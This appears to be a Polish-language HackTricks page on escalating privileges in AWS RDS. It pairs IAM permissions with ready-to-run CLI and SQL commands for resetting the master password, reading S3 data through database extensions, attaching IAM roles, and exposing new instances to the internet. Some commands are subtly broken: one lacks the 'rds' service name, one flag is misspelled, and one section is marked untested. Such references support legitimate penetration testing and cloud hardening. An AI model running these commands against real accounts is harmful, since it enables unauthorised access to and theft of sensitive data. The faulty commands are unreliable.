AWS - RDS Privesc

Wspieraj HackTricks

RDS - Relational Database Service

Więcej informacji o RDS znajdziesz tutaj:

AWS - Relational Database (RDS) Enum

rds:ModifyDBInstance

Z tą uprawnieniem atakujący może zmodyfikować hasło użytkownika głównego i zalogować się do bazy danych:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

Musisz mieć możliwość połączenia się z bazą danych (zazwyczaj są one dostępne tylko z wewnętrznych sieci).

Potencjalny wpływ: Znalezienie wrażliwych informacji w bazach danych.

rds-db:connect

Według dokumentacji użytkownik z tym uprawnieniem może połączyć się z instancją DB.

Nadużycie uprawnień RDS Role IAM

Postgresql (Aurora)

Jeśli uruchomisz SELECT datname FROM pg_database; i znajdziesz bazę danych o nazwie rdsadmin, wiesz, że jesteś wewnątrz AWS postgresql database.

Najpierw możesz sprawdzić, czy ta baza danych była używana do uzyskania dostępu do jakiejkolwiek innej usługi AWS. Możesz to sprawdzić, patrząc na zainstalowane rozszerzenia:

SELECT * FROM pg_extension;

Jeśli znajdziesz coś takiego jak aws_s3, możesz założyć, że ta baza danych ma jakiś rodzaj dostępu do S3 (istnieją inne rozszerzenia, takie jak aws_ml i aws_lambda).

Również, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters, możesz zobaczyć tam, czy klaster ma przypisaną jakąkolwiek rolę IAM w polu AssociatedRoles. Jeśli tak, możesz założyć, że baza danych została przygotowana do dostępu do innych usług AWS. Na podstawie nazwy roli (lub jeśli możesz uzyskać uprawnienia roli) możesz zgadnąć, jaki dodatkowy dostęp ma baza danych.

Teraz, aby odczytać plik wewnątrz bucketu, musisz znać pełną ścieżkę. Możesz to odczytać za pomocą:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

Jeśli masz surowe poświadczenia AWS, możesz ich również użyć do uzyskania dostępu do danych S3 za pomocą:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql nie wymaga zmiany żadnej zmiennej grupy parametrów, aby uzyskać dostęp do S3.

Mysql (Aurora)

Wewnątrz mysql, jeśli uruchomisz zapytanie SELECT User, Host FROM mysql.user; i jest tam użytkownik o nazwie rdsadmin, możesz założyć, że jesteś wewnątrz AWS RDS mysql db.

Wewnątrz mysql uruchom show variables; i jeśli zmienne takie jak aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role mają wartości, możesz założyć, że baza danych jest przygotowana do dostępu do danych S3.

Również, jeśli masz uprawnienia do uruchomienia aws rds describe-db-clusters, możesz sprawdzić, czy klaster ma jakąkolwiek przypisaną rolę, co zazwyczaj oznacza dostęp do usług AWS.

Aby odczytać plik wewnątrz bucket, musisz znać pełną ścieżkę. Możesz to odczytać za pomocą:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

Atakujący z uprawnieniami rds:AddRoleToDBCluster i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. Może to pozwolić atakującemu na dostęp do wrażliwych danych lub modyfikację danych w instancji.

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

Potential Impact: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS. Należy zauważyć, że niektóre bazy danych wymagają dodatkowych konfiguracji, takich jak Mysql, który wymaga określenia ARN roli w grupach parametrów.

rds:CreateDBInstance

Tylko z tym uprawnieniem atakujący mógłby utworzyć nową instancję w istniejącym klastrze, który ma przypisaną rolę IAM. Nie będzie w stanie zmienić hasła użytkownika głównego, ale może być w stanie wystawić nową instancję bazy danych do internetu:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: Test

Atakujący z uprawnieniami rds:CreateDBInstance i iam:PassRole może utworzyć nową instancję RDS z przypisaną określoną rolą. Atakujący może następnie potencjalnie uzyskać dostęp do wrażliwych danych lub zmodyfikować dane w instancji.

Niektóre wymagania dotyczące roli/profilu instancji do przypisania (z tutaj):

  • Profil musi istnieć na Twoim koncie.

  • Profil musi mieć rolę IAM, którą Amazon EC2 ma uprawnienia do przejęcia.

  • Nazwa profilu instancji i powiązana nazwa roli IAM muszą zaczynać się od prefiksu AWSRDSCustom.

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

Potencjalny wpływ: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.

rds:AddRoleToDBInstance, iam:PassRole

Atakujący z uprawnieniami rds:AddRoleToDBInstance i iam:PassRole może dodać określoną rolę do istniejącej instancji RDS. Może to pozwolić atakującemu na dostęp do wrażliwych danych lub modyfikację danych w instancji.

Instancja DB musi być poza klastrem

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

Potencjalny wpływ: Dostęp do wrażliwych danych lub nieautoryzowane modyfikacje danych w instancji RDS.

Wspieraj HackTricks

Last updated